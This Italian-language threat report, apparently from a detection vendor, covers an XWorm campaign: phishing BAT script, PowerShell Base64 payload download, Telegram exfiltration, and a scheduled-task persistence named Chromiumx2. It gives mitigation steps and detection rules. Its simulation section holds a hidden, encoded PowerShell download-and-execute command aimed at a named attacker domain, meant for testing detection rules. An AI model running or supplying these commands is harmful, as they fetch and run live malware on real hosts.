Script Maligno che Consegna più Malignità
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una email di phishing consegna un allegato malevolo contenente uno script BAT che lancia PowerShell per scaricare un payload codificato in Base64. Dopo la decodifica, il payload risolve in XWorm, un ladro .NET che acquisisce le impronte digitali dell’host ed esfiltra i dati raccolti tramite un bot Telegram. La persistenza viene stabilita creando un’attività pianificata che esegue ripetutamente l’eseguibile distribuito. L’operazione si basa su molteplici elementi infrastrutturali, compresi un esca di hosting immagini fasulla e almeno un IP compromesso utilizzato per la staging del payload.
Indagine
Il riesame dello script BAT ha mostrato un one-liner PowerShell che recupera un file apparentemente PNG da un dominio controllato dall’attaccante. Il contenuto in Base64 incorporato viene quindi ripulito, invertito e decodificato per ricostruire l’eseguibile .NET. L’analisi binaria ha mostrato che il malware registra un’attività pianificata chiamata Chromiumx2 e utilizza l’API di Telegram per comando e controllo ed esfiltrazione dei dati. Gli investigatori hanno estratto indicatori di rete chiave, tra cui il dominio host, l’indirizzo IP associato e l’endpoint API Telegram referenziato durante l’esecuzione.
Mitigazione
Impedisci l’esecuzione di contenuti BAT e PowerShell non attendibili provenienti da allegati email o directory di download degli utenti. Applica una lista di permessi per le applicazioni per restringere la creazione di attività pianificate e segnala nuove registrazioni di attività sospette. Monitora e, dove possibile, restringi l’accesso in uscita agli endpoint API di Telegram e blocca i domini malevoli identificati a livello di DNS/proxy. Mantieni aggiornati i rilevamenti degli endpoint con i nuovi indicatori osservati e i modelli di download basati su script.
Risposta
Isola gli endpoint dove si osservano il task pianificato Chromiumx2 o Chromiumx2.exe. Rimuovi il task pianificato, elimina il binario malevolo e raccogli artefatti (script, payload decodificato, XML del task e log rilevanti) per un’indagine forense. Caccia nell’ambiente per lo stesso nome di task, comportamento di decodifica PowerShell simile e traffico guidato da Telegram. Resetta le credenziali potenzialmente esposte e notifica agli utenti dell’allegato di phishing per ridurre l’esecuzione ripetuta.
Flusso d’Attacco
Rilevazioni
Possibile abuso di Telegram come canale di comando e controllo (via dns_query)
Visualizza
Processo sospetto utilizza un URL nella riga di comando (via cmdline)
Visualizza
Scarica o carica tramite Powershell (via cmdline)
Visualizza
Schtasks indica directory / binario / script sospetto (via cmdline)
Visualizza
Stringhe PowerShell sospette (via powershell)
Visualizza
File sospetti nel profilo utente pubblico (via file_event)
Visualizza
Stringhe PowerShell sospette (via cmdline)
Visualizza
Possibile uso di Schtasks o AT per persistenza (via cmdline)
Visualizza
IOC (SourceIP) da rilevare: Script malevolo che distribuisce altri contenuti malevoli
Visualizza
IOC (DestinationIP) da rilevare: Script malevolo che distribuisce altri contenuti malevoli
Visualizza
Creazione di Attività Pianificata per la Persistenza di Chromiumx2 [Creazione Processo Windows]
Visualizza
Rileva il rilevamento del payload codificato in Base64 tramite PowerShell [PowerShell Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-flight di Telemetria e Baseline deve essere superato.
-
Narrazione dell’Attacco & Comandi:
L’attaccante desidera scaricare ed eseguire un payload malevolo da un server web compromesso. Per eludere il rilevamento con firma classica, incorpora l’intera logica di download ed esecuzione in una singola stringa Base64 e invoca PowerShell con-EncodedCommand. Il comando fa riferimento all’URL esatto monitorato dalla regola di rilevamento (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Codifica il payload malevolo (un semplice downloader che esegue lo script ricevuto):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64B64 risultante (esempio):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(troncato). -
Esegui il comando codificato:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Questa singola riga genera esattamente la telemetria che la regola Sigma si aspetta: un processo PowerShell, il
-EncodedCommandflag e l’URL malevolo all’interno del blocco di script decodificato. -
-
Script di Test di Regressione:
#------------------------------------------------- # Script di regressione per attivare la regola di rilevamento #------------------------------------------------- # 1. Costruisci il payload malevolo $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Esegui il payload tramite un comando PowerShell codificato Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Comando codificato malevolo eseguito." #------------------------------------------------- -
Comandi di Pulizia:
# Rimuovere eventuali file temporanei (nessuno previsto perché il payload viene trasmesso direttamente) # Termina eventuali processi PowerShell nascosti persistenti avviati dal test Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Pulizia completata."